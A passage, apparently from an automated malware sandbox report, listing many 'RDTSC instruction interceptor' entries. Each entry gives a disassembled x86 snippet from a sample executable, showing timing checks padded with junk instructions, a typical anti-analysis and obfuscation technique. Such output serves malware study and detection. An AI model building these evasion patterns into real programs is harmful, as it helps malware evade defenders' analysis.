0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b pushad 0x0000005c popad 0x0000005d pop eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 540C98 second address: 540C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 540C9C second address: 540CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 547EEC second address: 547EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 547EF2 second address: 547EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 547EF6 second address: 547F34 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f ja 00007FFAF902724Ch 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D36BAh] 0x0000001d push 00000000h 0x0000001f mov ebx, edx 0x00000021 jmp 00007FFAF902724Dh 0x00000026 push eax 0x00000027 push edi 0x00000028 jl 00007FFAF902724Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 545F7F second address: 545F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 545F83 second address: 545F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 545F94 second address: 54603C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push edx 0x0000000b jc 00007FFAF8C4A836h 0x00000011 pop edx 0x00000012 pop edi 0x00000013 nop 0x00000014 call 00007FFAF8C4A846h 0x00000019 movsx ebx, cx 0x0000001c pop edi 0x0000001d push dword ptr fs:[00000000h] 0x00000024 sub ebx, dword ptr [ebp+122D1F15h] 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 jo 00007FFAF8C4A83Ch 0x00000037 add dword ptr [ebp+124613CAh], edi 0x0000003d mov eax, dword ptr [ebp+122D0715h] 0x00000043 jns 00007FFAF8C4A851h 0x00000049 push FFFFFFFFh 0x0000004b mov ebx, dword ptr [ebp+122D17CEh] 0x00000051 nop 0x00000052 pushad 0x00000053 pushad 0x00000054 jmp 00007FFAF8C4A844h 0x00000059 jmp 00007FFAF8C4A83Bh 0x0000005e popad 0x0000005f je 00007FFAF8C4A83Ch 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 54806B second address: 548092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027258h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FFAF9027246h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 54918E second address: 5491CF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FFAF8C4A83Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FFAF8C4A845h 0x00000011 pushad 0x00000012 jmp 00007FFAF8C4A847h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4E6DD0 second address: 4E6E11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Ch 0x00000007 jmp 00007FFAF9027252h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jno 00007FFAF9027246h 0x00000015 jmp 00007FFAF9027256h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 54F5AC second address: 54F5BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 552E69 second address: 552E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FFAF902724Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5528B3 second address: 5528B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5528B7 second address: 5528FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027257h 0x00000007 jmp 00007FFAF902724Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FFAF9027252h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5528FB second address: 5528FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 558794 second address: 55879E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5588AF second address: 5588C1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5588C1 second address: 5588CB instructions: 0x00000000 rdtsc 0x00000002 js 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5588CB second address: 5588E1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFAF8C4A838h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5588E1 second address: 558933 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027258h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FFAF9027256h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FFAF9027257h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 558933 second address: 558937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55DE56 second address: 55DE83 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAF902724Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007FFAF9027258h 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55DE83 second address: 55DE95 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FFAF8C4A83Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55CCA6 second address: 55CCEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF9027258h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c jc 00007FFAF9027264h 0x00000012 jmp 00007FFAF9027254h 0x00000017 jmp 00007FFAF902724Ah 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55D45C second address: 55D463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55D728 second address: 55D72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55D9BC second address: 55D9C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55D9C4 second address: 55D9D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55D9D0 second address: 55D9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55D9D4 second address: 55DA05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFAF9027250h 0x0000000f pushad 0x00000010 jmp 00007FFAF9027254h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55DA05 second address: 55DA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55DA0A second address: 55DA12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55DA12 second address: 55DA16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 55F539 second address: 55F56A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAF9027248h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FFAF902726Ah 0x00000010 jmp 00007FFAF9027256h 0x00000015 push edi 0x00000016 jo 00007FFAF9027246h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 563A2D second address: 563A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007FFAF8C4A836h 0x00000009 jl 00007FFAF8C4A836h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 568E9A second address: 568EC0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFAF902724Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FFAF9027252h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569052 second address: 569061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569061 second address: 569067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569067 second address: 56906D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56906D second address: 569082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jnp 00007FFAF9027246h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569082 second address: 569088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569088 second address: 56909C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027250h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56909C second address: 5690A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5690A2 second address: 5690CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027252h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAF9027256h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5694C2 second address: 5694D4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAF8C4A836h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5694D4 second address: 5694DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5694DA second address: 5694E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5694E3 second address: 5694E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5694E7 second address: 5694ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5694ED second address: 569518 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFAF902724Ch 0x00000008 pushad 0x00000009 jo 00007FFAF9027246h 0x0000000f jmp 00007FFAF9027254h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569801 second address: 56980B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FFAF8C4A836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56980B second address: 569817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FFAF9027246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56999A second address: 5699A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jc 00007FFAF8C4A836h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5699A8 second address: 5699B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5699B1 second address: 5699B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569B25 second address: 569B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569B29 second address: 569B2F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 569B2F second address: 569B44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FFAF902724Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F0F7B second address: 4F0F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FFAF8C4A842h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F0F88 second address: 4F0F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FFAF9027246h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F0F92 second address: 4F0FB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAF8C4A849h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52A72D second address: 52A731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52A731 second address: 52A737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52A737 second address: 52A74C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF9027251h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52A74C second address: 52A750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE0B second address: 52AE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007FFAF9027246h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAF9027251h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE2C second address: 52AE36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE36 second address: 52AE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE3A second address: 52AE5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A847h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE5F second address: 52AE7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFAF9027252h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE7C second address: 52AE98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FFAF8C4A836h 0x00000009 jbe 00007FFAF8C4A836h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52AE98 second address: 52AE9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B391 second address: 52B3F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f jmp 00007FFAF8C4A845h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FFAF8C4A838h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 sbb ecx, 7FECB5E1h 0x00000036 push 0000001Eh 0x00000038 cmc 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jnl 00007FFAF8C4A836h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B3F6 second address: 52B400 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B400 second address: 52B406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B406 second address: 52B40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B7BC second address: 52B7CE instructions: 0x00000000 rdtsc 0x00000002 js 00007FFAF8C4A838h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B7CE second address: 52B7D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B7D2 second address: 52B84B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A847h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FFAF8C4A83Dh 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FFAF8C4A838h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a jmp 00007FFAF8C4A842h 0x0000002f lea eax, dword ptr [ebp+124752D5h] 0x00000035 jo 00007FFAF8C4A83Ch 0x0000003b sub dword ptr [ebp+122D23E9h], ebx 0x00000041 nop 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push esi 0x00000048 pop esi 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B84B second address: 52B8A1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAF9027248h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007FFAF9027250h 0x00000013 jmp 00007FFAF902724Ah 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FFAF9027248h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 lea eax, dword ptr [ebp+12475291h] 0x00000039 mov dword ptr [ebp+122D1F34h], esi 0x0000003f nop 0x00000040 push eax 0x00000041 push edx 0x00000042 push edi 0x00000043 push edx 0x00000044 pop edx 0x00000045 pop edi 0x00000046 rdtsc
